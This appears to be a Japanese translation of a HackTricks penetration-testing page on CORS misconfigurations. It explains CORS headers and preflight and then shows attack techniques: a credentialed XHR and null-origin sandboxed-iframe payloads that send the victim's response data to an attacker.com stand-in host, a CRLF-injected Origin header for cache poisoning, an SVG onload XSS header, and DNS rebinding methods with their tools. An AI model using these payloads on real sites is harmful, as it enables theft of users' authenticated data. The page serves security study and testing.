hacktricks/pentesting-web/cors-bypass.md

35 KiB
Raw Blame History

CORS - Misconfigurations & Bypass

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

CORSとは

Cross-Origin Resource SharingCORS標準は、サーバーがアセットにアクセスできるユーザー外部ソースから許可されるHTTPリクエストメソッドを定義できるようにします。

同一オリジンポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル(例:http://)、ドメイン名(例:internal-web.com)、およびポート80を共有している必要があると規定しています。このポリシーでは、同じドメインとポートのウェブページのみがリソースにアクセスできます。

http://normal-website.com/example/example.htmlのコンテキストで同一オリジンポリシーの適用例を以下に示します:

アクセスされたURL アクセスが許可されるか?
http://normal-website.com/example/ はい:同一のスキーム、ドメイン、およびポート
http://normal-website.com/example2/ はい:同一のスキーム、ドメイン、およびポート
https://normal-website.com/example/ いいえ:異なるスキームとポート
http://en.normal-website.com/example/ いいえ:異なるドメイン
http://www.normal-website.com/example/ いいえ:異なるドメイン
http://normal-website.com:8080/example/ いいえ:異なるポート*

*Internet Explorerは同一オリジンポリシーにおいてポート番号を無視し、このアクセスを許可します。

Access-Control-Allow-Originヘッダー

このヘッダーは複数のオリジンnull値、またはワイルドカード*を許可できます。ただし、どのブラウザも複数のオリジンをサポートしておらず、ワイルドカード*の使用には制限があります(ワイルドカードは単独で使用する必要があり、Access-Control-Allow-Credentials: trueと併用することは許可されていません)。

このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対するサーバーから発行され、ブラウザは自動的にOriginヘッダーを追加します。

Access-Control-Allow-Credentialsヘッダー

デフォルトでは、クロスオリジンリクエストはクッキーやAuthorizationヘッダーなどの資格情報なしで行われます。ただし、クロスドメインサーバーはAccess-Control-Allow-Credentialsヘッダーを**true**に設定することで、資格情報が送信された場合に応答の読み取りを許可できます。

trueに設定されている場合、ブラウザは資格情報クッキー、認証ヘッダー、またはTLSクライアント証明書を送信します。

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF プリフライトリクエスト

クロスドメイン通信におけるプリフライトリクエストの理解

特定の条件下でクロスドメインリクエストを開始する際、標準外のHTTPメソッドHEAD、GET、POST以外のもの、新しいヘッダーの導入、または特別なContent-Typeヘッダー値の使用などを行う場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**OPTIONS**メソッドを利用して、サーバーに将来のクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。

**クロスオリジンリソース共有CORS**プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、Mozilla Developer Network (MDN) が提供する包括的なガイドを参照してください。

重要な点として、プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力を失います。

以下は、PUTメソッドとSpecial-Request-Headerというカスタムヘッダーを使用するプリフライトリクエストの例を示しています:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

以下は、サーバーが受け入れるメソッド、許可されるオリジン、およびその他のCORSポリシーの詳細を示すヘッダーを返す可能性があります。

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。サーバーによって設定され、クライアントからのリクエストで許可されたヘッダーを示します。
  • Access-Control-Expose-Headers: このヘッダーを通じて、サーバーは単純なレスポンスヘッダー以外に、どのヘッダーがレスポンスの一部として公開されるかをクライアントに通知します。
  • Access-Control-Max-Age: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用される可能性がある最大時間(秒単位)を設定します。
  • Access-Control-Request-Headers: プリフライトリクエストで使用されるこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーをサーバーに通知するために設定されます。
  • Access-Control-Request-Method: このヘッダーもプリフライトリクエストで使用され、クライアントが実際のリクエストで使用するHTTPメソッドを示すために設定されます。
  • Origin: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの起源を示します。サーバーは、CORSポリシーに基づいて受信リクエストを許可するか拒否するかを評価するために使用されます。

通常コンテンツタイプと設定されたヘッダーに応じて、GET/POSTリクエストではプリフライトリクエストが送信されません(リクエストは直接送信されます)。ただし、レスポンスのヘッダー/本文にアクセスしたい場合は、それを許可する Access-Control-Allow-Origin ヘッダーを含める必要があります。
したがって、CORSはCSRFに対して保護されていませんただし、役立つ場合があります

ローカルネットワークリクエストのプリフライトリクエスト

  1. Access-Control-Request-Local-Network: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。サーバーにリクエストがローカルネットワーク内から発信されたことを通知するマーカーとして機能します。
  2. Access-Control-Allow-Local-Network: サーバーはこのヘッダーを使用して、要求されたリソースがローカルネットワーク外のエンティティと共有できることを伝達します。異なるネットワーク境界を越えてリソースを共有するための許可を示し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。

ローカルネットワークリクエストを許可する有効な応答は、応答にも Access-Controls-Allow-Local_network: true ヘッダーを含める必要があります。

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} 注意Linuxの0.0.0.0 IPはこれらの要件をバイパスしてlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。

また、ローカルネットワークの要件をバイパスすることも可能です。これは、ローカルエンドポイントたとえばルーターのパブリックIPパブリックIPアドレスを使用する場合に当てはまります。何度かのケースでは、パブリックIPにアクセスしている場合でも、それがローカルネットワークからアクセスされている場合にはアクセスが許可されます。 {% endhint %}

悪用可能な誤構成

Access-Control-Allow-Credentialsを**trueに設定することが実際の攻撃**のための前提条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、応答を読み取ることが可能となり、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。

例外:ネットワークロケーションを認証として悪用する

被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスすることが可能となります。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。

Access-Control-Allow-OriginでのOriginの反映

Originヘッダーの値がAccess-Control-Allow-Originに反映される実際のシナリオは、これらのヘッダーを組み合わせる制限があるため、理論的には起こりにくいです。ただし、複数のURLに対してCORSを有効にしたい開発者は、Originヘッダーの値をコピーしてAccess-Control-Allow-Originヘッダーを動的に生成することがあります。このアプローチは、攻撃者が正規のように見えるドメインを使用して検証ロジックを欺くことで、脆弱性を導入する可能性があります。

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

nullオリジンの悪用

nullオリジンは、リダイレクトやローカルHTMLファイルなどの状況を指定するために指定されており、ユニークな位置を占めています。一部のアプリケーションは、ローカル開発を容易にするためにこのオリジンをホワイトリストに登録していますが、それにより、サンドボックス化されたiframeを介して任意のウェブサイトがnullオリジンを模倣することが可能となり、CORS制限をバイパスすることができます。

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

正規表現バイパステクニック

ドメインのホワイトリストに遭遇した場合、攻撃者のドメインをホワイトリストに追加したり、サブドメインの乗っ取りの脆弱性を悪用したりするなど、バイパスの機会をテストすることが重要です。さらに、ドメインの検証に使用される正規表現は、ドメインの命名規則の微妙な点を見落とす可能性があり、さらなるバイパスの機会を提供します。

高度な正規表現バイパス

正規表現パターンは通常、英数字、ドット(.)、ハイフン(-)の文字に焦点を当てており、他の可能性を無視しています。たとえば、ブラウザや正規表現パターンによって異なる解釈される文字を含むドメイン名は、セキュリティチェックをバイパスすることができます。 Safari、Chrome、Firefoxがサブドメイン内のアンダースコア文字を処理する方法は、このような相違点がドメイン検証ロジックを回避するために悪用される方法を示しています。

このバイパスチェックの詳細情報と設定については: https://www.corben.io/advanced-cors-techniques/ および https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

サブドメイン内のXSSから

開発者は、情報をリクエストすることが許可されているドメインをホワイトリストに登録することで、CORSの悪用に対する防御メカニズムを実装することがよくあります。しかし、これらの予防措置にもかかわらず、システムのセキュリティは万全ではありません。ホワイトリストに含まれるドメインの中に脆弱なサブドメインが1つでも存在すると、XSSクロスサイトスクリプティングなどの他の脆弱性を介してCORSの悪用の扉が開かれる可能性があります。

例として、requester.comというドメインが、別のドメインであるprovider.comからリソースにアクセスすることが許可されるようにホワイトリストに登録されているシナリオを考えてみましょう。サーバーサイドの構成は次のようになるかもしれません:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

サーバーサイドキャッシュポイズニング

この研究から

サブドメインrequester.comのすべてがアクセスを許可されています。ただし、サブドメイン、例えばsub.requester.comがXSSの脆弱性で侵害されると、攻撃者はこの弱点を利用できます。たとえば、sub.requester.comにアクセス権を持つ攻撃者は、XSSの脆弱性を悪用してCORSポリシーをバイパスし、provider.comのリソースに悪意を持ってアクセスできます。

以下は、Originヘッダーが操作されたリクエストの例です:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet ExplorerとEdgeは、応答を次のように解釈します

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

直接的にこの脆弱性を悪用してウェブブラウザが不正なヘッダーを送信することは実現不可能ですが、Burp Suiteなどのツールを使用して手動で生成されたクラフトされたリクエストを使用することができます。この方法は、サーバーサイドキャッシュが応答を保存し、他のユーザーに提供する可能性があります。クラフトされたペイロードは、ページの文字セットをUTF-7に変更することを目的としており、これは特定のコンテキストでスクリプトとして実行できるように文字をエンコードする能力を持つため、XSS脆弱性にしばしば関連付けられています。

格納型XSS脆弱性に関する詳細は、PortSwiggerを参照してください。

注意: 特にサーバーサイドキャッシュポイズニングを通じたHTTPヘッダーインジェクション脆弱性の悪用は、HTTPヘッダーを含むすべてのユーザー提供入力の検証とサニタイズの重要性を強調しています。このような脆弱性を防ぐために、常に入力検証を含む堅牢なセキュリティモデルを採用してください。

クライアントサイドキャッシュポイズニング

この研究から

このシナリオでは、適切なエンコーディングなしにカスタムHTTPヘッダーの内容を反映するウェブページのインスタンスが観察されます。具体的には、ウェブページはX-User-idヘッダーに含まれる内容を反映し、この内容にはロード時にJavaScriptコードを実行するように設計されたSVGイメージタグが含まれる可能性があります。

Cross-Origin Resource SharingCORSポリシーにより、カスタムヘッダーの送信が可能となります。ただし、CORS制限によりブラウザによって直接レンダリングされない場合、そのようなインジェクションの有用性は限定されているように見えるかもしれません。重要な点は、ブラウザのキャッシュ動作を考慮する際に浮かび上がります。Vary: Originヘッダーが指定されていない場合、悪意のある応答がブラウザによってキャッシュされる可能性があります。その後、このキャッシュされた応答は、初回リクエスト時の直接レンダリングをバイパスして、URLに移動する際に直接レンダリングされる可能性があります。このメカニズムは、クライアントサイドキャッシングを活用することで攻撃の信頼性を高めます。

この攻撃を説明するために、JavaScriptの例が提供されており、JSFiddleなどのウェブページの環境で実行されるように設計されています。このスクリプトは単純なアクションを実行します悪意のあるJavaScriptを含むカスタムヘッダーを含むリクエストを指定されたURLに送信します。リクエストが正常に完了すると、ターゲットURLに移動し、Vary: Originヘッダーの適切な処理が行われずに応答がキャッシュされている場合、注入されたスクリプトの実行をトリガーする可能性があります。

この攻撃を実行するために使用されるJavaScriptの要約を以下に示します

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

バイパス

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は、スクリプトタグを使用してリソースを含める際に同一オリジンポリシーSOPが適用されないという事実を利用するタイプの脆弱性です。これは、スクリプトが異なるドメインから含められる必要があるためです。この脆弱性により、攻撃者はスクリプトタグを使用して含まれた任意のコンテンツにアクセスして読むことができます。

この脆弱性は、特にダイナミックなJavaScriptやJSONPPadding付きJSONに関連する場合に特に重要です。特に、クッキーなどの環境権限情報が認証に使用される場合です。異なるホストからリソースを要求すると、クッキーが含まれ、それにより攻撃者がアクセスできるようになります。

この脆弱性をよりよく理解し、緩和するためには、https://github.com/kapytein/jsonpで利用可能なBurpSuiteプラグインを使用できます。このプラグインは、WebアプリケーションでのXSSI脆弱性を特定および対処するのに役立ちます。

さまざまな種類のXSSIとその悪用方法について詳しく読むにはこちらをクリックしてください。

リクエストに callback パラメータ を追加してみてください。ページがJSONPとしてデータを送信するように準備されている可能性があります。その場合、ページはContent-Type: application/javascriptでデータを返し、CORSポリシーをバイパスします。

簡単(無意味?)なバイパス

Access-Control-Allow-Origin 制限をバイパスする方法の1つは、Webアプリケーションにリクエストしてもらい、その応答を返すことです。ただし、このシナリオでは、最終的な被害者の資格情報は異なるドメインにリクエストが行われるため送信されません。

  1. CORS-escape: このツールは、リクエストとそのヘッダーを転送するプロキシを提供し、同時にOriginヘッダーをリクエストされたドメインに一致するようにスプーフィングします。これにより、CORSポリシーがバイパスされます。以下はXMLHttpRequestを使用した例です
  2. simple-cors-escape: このツールは、リクエストをそのまま渡す代わりに、サーバーが指定されたパラメータで独自のリクエストを行う代替手法を提供します。

Iframe + Popup バイパス

e.origin === window.origin のようなCORSチェックを バイパス するために、 iframeを作成 し、 そこから新しいウィンドウを開く ことができます。詳細は以下のページで確認できます:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

TTL経由のDNSリバインディング

TTL経由のDNSリバインディングは、DNSレコードを操作して特定のセキュリティ対策をバイパスするための技術です。動作方法は次のとおりです

  1. 攻撃者はWebページを作成し、被害者にアクセスさせます。
  2. 攻撃者は自分のドメインのDNSIPを被害者のWebページを指すように変更します。
  3. 被害者のブラウザはDNS応答をキャッシュし、そのDNSレコードが有効であるべき期間を示すTTLTime to Live値を持つ場合があります。
  4. TTLが切れると、被害者のブラウザは新しいDNSリクエストを行い、攻撃者は被害者のページでJavaScriptコードを実行できます。
  5. 被害者のIPを制御することで、攻撃者は被害者からクッキーを送信せずに情報を収集できます。

この技術は、ブラウザによるこの技術の即時悪用を防ぐ可能性があるキャッシュメカニズムを持っていることに注意することが重要です。

DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするためや、ユーザーやボットが同じページに長時間滞在するシナリオの場合に、キャッシュが期限切れになるのを待つためのシナリオに役立ちます。

DNSリバインディングを素早く悪用する必要がある場合は、https://lock.cmpxchg8b.com/rebinder.htmlのようなサービスを利用できます。

独自のDNSリバインディングサーバーを実行するには、DNSrebinder (https://github.com/mogwailabs/DNSrebinder)のようなツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコードを作成するns.example.com、以前に作成したAサブドメインを指すNSレコードを作成する必要があります。ns.example.comサブドメインの任意のサブドメインは、そのホストによって解決されます。

さらに理解と実験のために、http://rebind.it/singularity.htmlで公開されているサーバーを探索することもできます。

DNSリバインディング経由の DNSキャッシュフラッディング

DNSリバインディング経由のDNSキャッシュフラッディングは、ブラウザのキャッシュメカニズムをバイパスし、2回目のDNSリクエストを強制するための別の技術です。動作方法は次のとおりです

  1. 最初に、被害者がDNSリクエストを行うと、攻撃者のIPアドレスで応答されます。
  2. キャッシュ防御をバイパスするために、攻撃者はサービスワーカーを利用します。サービスワーカーはDNSキャッシュをフラッドし、キャッシュされた攻撃者のサーバー名を効果的に削除します。
  3. 被害者のブラウザが2回目のDNSリクエストを行うと、IPアドレス127.0.0.1で応答されるようになります。通常、これはlocalhostを指します。

サービスワーカーを使用してDNSキャッシュをフラッドすることで、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを強制し、このときに攻撃者が望むIPアドレスに解決させることができます。

DNSリバインディング経由の キャッシュ

キャッシュ防御をバイパスする別の方法は、DNSプロバイダーで同じサブドメインに複数のIPアドレスを利用することです。動作方法は次のとおりです

  1. 攻撃者はDNSプロバイダーで同じサブドメインに2つのAレコードまたは2つのIPを持つ1つのAレコードを設定します。
  2. ブラウザがこれらのレコードをチェックすると、両方のIPアドレスが受信されます。
  3. ブラウザが最初に攻撃者のIPアドレスを使用することを決定した場合、攻撃者は同じドメインへのHTTPリクエストを行うペイロードを提供できます。
  4. ただし、攻撃者が被害者のIPアドレスを取得したら、被害者のブラウザに応答を停止します。
  5. ブラウザは、ドメインが応答しないことを認識すると、2番目に指定されたIPアドレスを使用し始めます。
  6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシーSOPをバイパスし、攻撃者はこれを悪用して情報を収集および外部送信できます。

この技術は、ドメインに複数のIPアドレスが提供された場合のブラウザの動作を活用します。応答を戦略的に制御し、ブラウザがどのIPアドレスを選択するかを操作することで、攻撃者はSOPを悪用し、被害者から情報にアクセスできます。

{% hint style="warning" %} localhostにアクセスするためには、Windowsでは 127.0.0.1、Linuxでは 0.0.0.0 を再バインドする必要があります。
godaddyやcloudflareなどのプロバイダーでは、IP 0.0.0.0 を使用することができませんでしたが、AWS route53では1つのAレコードを作成し、そのうちの1つを "0.0.0.0" にすることができました。

{% endhint %}

詳細については、https://unit42.paloaltonetworks.com/dns-rebinding/を参照してください。

その他の一般的なバイパス

  • もし内部IPが許可されていない場合、0.0.0.0を禁止するのを忘れている可能性がありますLinuxとMacで機能します
  • もし内部IPが許可されていない場合、localhostへのCNAMEで応答するLinuxとMacで機能します
  • 内部IPがDNS応答として許可されていない場合、www.corporate.internalなどの内部サービスへのCNAMEで応答できます。

DNS Rebiddingの武器化

前述のバイパス技術に関する詳細情報や以下のツールの使用方法については、Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conferenceでの講演を参照してください。

Singularity of Originは、DNS rebinding攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用する攻撃ペイロードを提供するために必要なコンポーネントが含まれています。

DNS Rebindingに対する実際の保護

  • 内部サービスでTLSを使用する
  • データにアクセスするための認証を要求する
  • Hostヘッダーを検証する
  • https://wicg.github.io/private-network-access/: パブリックサーバーが内部サーバーにアクセスする際に常にプリフライトリクエストを送信するための提案

ツール

CORSポリシーの構成ミスをファジングする

参考文献